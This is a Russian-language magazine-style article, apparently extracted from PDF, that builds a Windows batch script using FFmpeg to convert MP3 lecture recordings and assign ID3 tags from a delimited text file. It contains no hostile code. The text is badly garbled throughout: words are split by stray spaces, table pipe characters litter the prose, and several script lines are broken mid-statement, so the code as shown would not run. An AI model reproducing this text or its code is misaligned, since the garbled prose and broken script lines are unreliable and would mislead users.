АВТОМАТИЧЕСКИ КОНВЕРТИРУЕМ И АННОТИРУЕМ АУДИОФАЙЛЫ В WINDOWS
РАЗРАБОТКА ПРОТОТИПА КОМАНДНОГО СЦЕНАРИЯ |
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||||||||||||||
Теперь |
, когда возможнос |
ти FFmpeg и языка командных |
сценари |
ев проясни |
|
||||||||||||||||||||||||||||||||||||
лись, можно приступать |
к решению нашей задачи — разработ |
ке |
сценария |
||||||||||||||||||||||||||||||||||||||
для конверта |
ции |
и назначения |
ID3-тегов аудиофай |
лам |
из |
|
коллекции |
. |
|||||||||||||||||||||||||||||||||
Для начала решим, как будет хранить |
ся информация о тегах. |
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||||||||||||||
Аудиофай |
лы обычно существу ют не сами по себе, а сгруппирова |
ны в аль |
|||||||||||||||||||||||||||||||||||||||
бомы, которые издатели |
записывают |
на один информацион |
ный |
носитель: |
|||||||||||||||||||||||||||||||||||||
компакт диск, виниловую |
пластинку |
и прочее . Поэтому в одном информа |
|||||||||||||||||||||||||||||||||||||||
ционном |
тексто вом |
файле будем хранить |
теги для одного такого альбома |
. |
|||||||||||||||||||||||||||||||||||||
Если проана лизи |
ровать |
множес тво ID3-тегов, то можно выделить в нем две |
|||||||||||||||||||||||||||||||||||||||
категории : теги, которые относят ся ко всему альбому |
|
в целом (например |
, |
||||||||||||||||||||||||||||||||||||||
название |
альбома |
|
и |
|
исполнитель |
альбома |
), |
и |
теги, |
|
которые относят ся |
||||||||||||||||||||||||||||||
к отдельному |
треку (номер трека на носителе , название |
трека , исполнитель |
|||||||||||||||||||||||||||||||||||||||
трека ). |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Чтобы |
|
не |
дублировать |
для |
каждого |
аудиофай |
ла «альбом ные » теги, |
||||||||||||||||||||||||||||||||||
запишем их один раз в заголовке информацион |
ного |
файла . Теги для отдель |
|||||||||||||||||||||||||||||||||||||||
ных треков |
удобно |
хранить |
в строках тексто вого |
файла с разделите |
лями |
. |
|||||||||||||||||||||||||||||||||||
В качестве |
разделите |
ля |
|
будем |
использовать |
символ , встретить |
который |
||||||||||||||||||||||||||||||||||
в значени |
ях тегов маловероят |
но . Я выбрал символ тильда ~. А для альбом ных |
|||||||||||||||||||||||||||||||||||||||
тегов, которые естествен |
но представ лять |
в виде пар "ТЕГ=ЗНАЧЕНИЕ |
", было |
||||||||||||||||||||||||||||||||||||||
решено использовать |
в качестве разделите |
ля знак равенства =. |
|
|
|
|
|
|
|
|
|||||||||||||||||||||||||||||||
Вырисо |
выва |
ется |
следующая |
структура |
информацион |
ного |
файла : |
|
|
|
|
|
ALBUM=Название альбома
ARTIST=Исполнитель альбома
1~Название первого трека~Исполнитель первого трека
2~Название второго трека~Исполнитель второго трека
...
Ориенти руясь на разработан ную структуру , наброса ем прототип командно го сценария , который будет ее использовать для обработ ки аудиофай лов .
@ECHO OFF
REM ===================
REM Основная программа.
REM ===================
CHCP 65001 > NUL:
SET ID3TAGS=SRC\id3tags.txt
SET ALBUM_TITLE=
SET ALBUM_ARTIST=
FOR /F "eol=~ tokens=1,2* delims==" %%I IN (%ID3TAGS%) DO CALL :
PROCESSING header %%I "%%J"
ECHO |
Альбом......... |
%ALBUM_TITLE% |
ECHO |
Исполнитель.... |
%ALBUM_ARTIST% |
FOR /F "eol== tokens=1,2,3 delims=~" %%I IN (%ID3TAGS%) DO CALL :
PROCESSING body %%I "%%J" "%%K"
SET ALBUM_TITLE=
SET ALBUM_ARTIST=
CHCP 866 > NUL:
GOTO :EOF
REM ==============================
REM Подпрограмма обработки записи.
REM ==============================
:PROCESSING
IF "%1"=="header" GOTO :HEADER
IF "%1"=="body" GOTO :BODY
ECHO *** Ошибка: неизвестный способ обработки "%1". ***
GOTO :EOF
REM ------------------------------------
REM Обработка записи из заголовка файла.
REM ------------------------------------
:HEADER
SHIFT
IF "%1"=="ALBUM" SET ALBUM_TITLE=%2
IF "%1"=="ARTIST" SET ALBUM_ARTIST=%2
GOTO :EOF
REM -------------------------------
REM Обработка записи из тела файла.
REM -------------------------------
:BODY
SHIFT
ECHO DEBUG: %1 %2 %3
Посколь ку для тегов предпочти тельно использовать кодировку Unicode, то все тексто вые файлы , как со сценари ем, так и со значени ями тегов, должны быть сохранены в формате UTF-8. В соответс твии с этим для сеанса коман дной строки устанав ливается кодовая страница 65001. Предполага ется, что исходные аудиофай лы будут хранить ся в подкатало ге SRC, а преобра зован ные файлы — записывать ся в подкаталог TGT текущего каталога . Информация
о тегах будет хранить ся вместе с исходными файлами в тексто вом файле SRC\id3tags.txt описан ной выше структуры .
При сохранении тексто вых файлов в формате UTF-8 обращай внимание , что бы они не предварялись маркером последова тель нос ти байтов BOM. Коман дный процес сор не умеет его правиль но обрабаты вать , в результате чего он не распозна ет первую команду @ECHO OFF и при работе сценария на экран выводится много «мусора». В крайнем случае можно сделать первую строку сценария пустой , но и тогда его вывод будет начинаться с сообщения :
"я╗┐" не является внутренней или внешней
командой, исполняемой программой или пакетным файлом.
Посколь ку в информацион ном файле присутс тву ют два блока разной струк туры, он будет обрабаты вать ся в два прохода двумя циклами FOR. Первый цикл присвоит значения альбом ных тегов переменным окружения сценария с тем, чтобы их можно было в дальнейшем использовать для каждого ауди
офайла . Второй цикл на каждой итерации будет запускать FFmpeg для обра ботки аудиофай ла .
И здесь нужно найти метод, который позволит различать информацион ные строки первого и второго типов. Это можно сделать разными способа ми. Я решил использовать символ — разделитель полей одного блока в качестве признака коммента рия для другого блока и в начало каждой информацион ной строки добавить символ разделитель , после чего структура информа ционного файла приняла такой вид:
=ALBUM=Название альбома
=ARTIST=Исполнитель альбома
~1~Название первого трека~Исполнитель первого трека
~2~Название второго трека~Исполнитель второго трека
...
После этого первый цикл воспри нима ет строки второго блока как коммента рии, а второй цикл так же относит ся к строкам первого блока .
Средства работы с подпрог рамма ми в языке CMD-сценари ев довольно ограничен ны . Из за отсутствия инструк ции досрочно го возвра та из подпрог раммы пришлось моделировать в одной подпрог рамме работу несколь ких виртуаль ных подпрог рамм . Для этого через аргумент инструк ции CALL передается имя виртуаль ной подпрог раммы ("header" или "body"), которое анализи рует ся в начале настоящей подпрог раммы (:PROCESSING). После это го выполняет ся переход к блоку инструк ций вызванной виртуаль ной подпрог раммы (на метку :HEADER или :BODY). Чтобы исключить ставшее ненужным имя подпрог раммы из списка полученных параметров , виртуаль ные подпрог раммы начинаются с инструк ции SHIFT.
Если сейчас выполнить приведен ный прототип сценария , то на экране отобразят ся следующие строки :
Альбом......... |
"Название альбома" |
Исполнитель.... |
"Исполнитель альбома" |
DEBUG: |
1 |
"Название |
первого трека" "Исполнитель |
первого |
трека" |
|
|||||
DEBUG: |
2 |
"Название |
второго трека" "Исполнитель |
второго |
трека" |
|
|||||
Значит , |
разбор |
тексто вого |
файла |
со значени |
ями |
тегов работает так, |
|||||
как задумано , и можно переходить |
к реализации обработ ки аудиофай |
лов |
|||||||||
с помощью FFmpeg. |
|
|
|
|
|
|
|
СЦЕНАРИЙ ПАКЕТНОЙ ОБРАБОТКИ АУДИОФАЙЛОВ
Для выполнения реальных операций над файлами надо в прототи пе сценария заменить отладоч ный вывод ECHO DEBUG... на блок инструк ций, которые эти операции будут выполнять . Я оформил этот блок следующим образом :
SET MP3FN=%1.mp3
IF NOT EXIST SRC\%MP3FN% SET MP3FN=0%1.mp3
IF NOT EXIST SRC\%MP3FN% SET MP3FN=00%1.mp3
IF NOT EXIST SRC\%MP3FN% GOTO :BODY_FNF
SET SRCFN="SRC\%MP3FN%"
SET TGTFN="TGT\%MP3FN%"
ECHO Конвертация файла %SRCFN% -^> %TGTFN%
%FFMPEG% -i %SRCFN% -i %COVER% -map 0 -map 1 -c:a libmp3lame -ar %FQ%
-b:a %BR% -ac %AC% ^
-f mp3 -id3v2_version 3 -map_metadata -1 ^
-metadata album=%ALBUM_TITLE% -metadata album_artist=%
ALBUM_ARTIST% ^
-metadata track="%1" -metadata title=%2 -metadata artist=%3 ^
-metadata:s:v title="Album cover" %TGTFN%
GOTO :EOF
:BODY_FNF
ECHO *** Ошибка: не найден файл для трека №%1. ***
Корот кое имя файла по его порядковому номеру формиру ется и записывает ся в переменную MP3FN первой инструк цией SET. В моих коллекци ях ауди офайлы хранят ся под своими порядковыми номерами в альбомах : 01.mp3, 02.mp3, 03.mp3, ..., 10.mp3, 11.mp3... В сценарии для универ саль нос ти я предположил , что номер в имени файла может не содержать ведущего нуля: 1.mp3, 2.mp3 и так далее. Чтобы автомати чес ки обрабаты вались файлы вплоть до трехразряд ных номеров, дальше следуют инструк ции IF, добав ляющие ведущие нули к имени файла , если таковой отсутству ет в папке SRC. Если отсутству ет файл и с трехразряд ным номером, то будет выдано сооб щение об ошибке .
В случае успеха в переменные SRCFN и TGTFN записывают ся полные имена входного и выходного аудиофай лов , значения которых используют ся в коман дной строке FFmpeg. Командная строка получилась довольно длинной , и, что бы разбить ее на части , пришлось восполь зовать ся символом экраниро вания перевода строки , роль которого в командной строке Windows играет не обратная наклонная черта \, как можно было бы подумать, а крышка ^.
Парамет ры командной строки FFmpeg должны быть понятны из предыду щих примеров . Разве что может возникнуть резонный вопрос , откуда возь мутся значения переменных : имя файла с изображени ем обложки %COVER%, частота дискре тизации %FQ%, скорость потока %BR% и количество аудиодо рожек %AC%. Действи тельно, их надо определить в начале сценария , дополнив блок инициали зации переменных окружения строками
SET FFMPEG="%ProgramFiles%\ImageMagick-7.1.0-Q8\ffmpeg.exe"
SET COVER=SRC\cover.jpg
SET FQ=22050
SET BR=32k
SET AC=1
Получив ший ся сценарий я применил для обработ ки аудиоза писей лекций цикла «Восток (Лекторий ВШЭ)», стереофай лы которых с частотой дискре тизации 44 100 Гц при скорос ти потока 128 Кбит занимали на дис ке 877 Мбайт. Объем преобра зован ных файлов уменьшил ся до 219 Мбайт (то есть пример но в четыре раза), а тембр речи лекторов субъективно даже улуч шился.
Резуль тат аннотиро вания MP3-файлов с аудиоза пися ми лекций
УЛУЧШЕНИЕ СЦЕНАРИЯ
По большому счету поставлен ную в этой статье задачу уже можно считать решенной . Однако , как известно , начав программи ровать (пусть даже на язы ке сценари ев ), потом очень трудно остановить ся . В описании тегов ID3 мож но обнаружить , что допускает ся нумерация трека в формате "i/n", где i — порядковый номер трека , а n — общее количество треков в альбоме . Почему бы не восполь зовать ся арифметичес кими способ ностя ми инструк ции SET и не подсчи тать это количество , чтобы формировать тег номера в рас ширенном формате ?
Конеч но, это потребу ет еще одной переменной для подсче та треков и дополнитель ного прохода по информацион ному файлу с помощью инструк
ции FOR с вызовом подпрог раммы , выполняющей инкремен тирова ние зна чения переменной для каждой обнаружен ной записи об аудиофай ле .
Добавим в блок инициали зации переменных строку
SET TOTAL=0
А после первой инструк ции FOR, выполняющей инициали зацию альбом ных переменных , добавим строку для подсче та треков :
FOR /F "eol== tokens=1 delims=~" %%I IN (%ID3TAGS%) DO SET /A TOTAL=
TOTAL+1
Теперь можно расширить блок печати информации об обрабаты ваемом аль боме строкой
ECHO Треков......... %TOTAL%
Осталось |
в командной |
строке FFmpeg заменить назначения |
ID3-тега |
|||
с номером трека на -metadata track="%1/%TOTAL%". С этого момента |
сце |
|||||
нарий начнет аннотиро |
вать |
MP3-файлы номером трека в расширен |
ном |
фор |
||
мате. |
|
|
|
|
|
|
Здесь можно загрузить исходные данные и код, использован ные в статье.
ЗАКЛЮЧЕНИЕ
В результате проделан ной работы мы получили удобный инстру мент для пакетной обработ ки аудиофай лов. Если принять во внимание , что FFmpeg умеет еще и обрабаты вать видеофай лы и файлы с изображени ями, а сценарий автомати зации без особых проблем адаптиру ется для решения других подобных задач, то инстру мент этот можно назвать универ сальным. При этом графичес кая оболоч ка не скрывает от нас возможнос тей базовой утилиты , а для программи рования достаточ но штатного тексто вого редактора операци онной системы .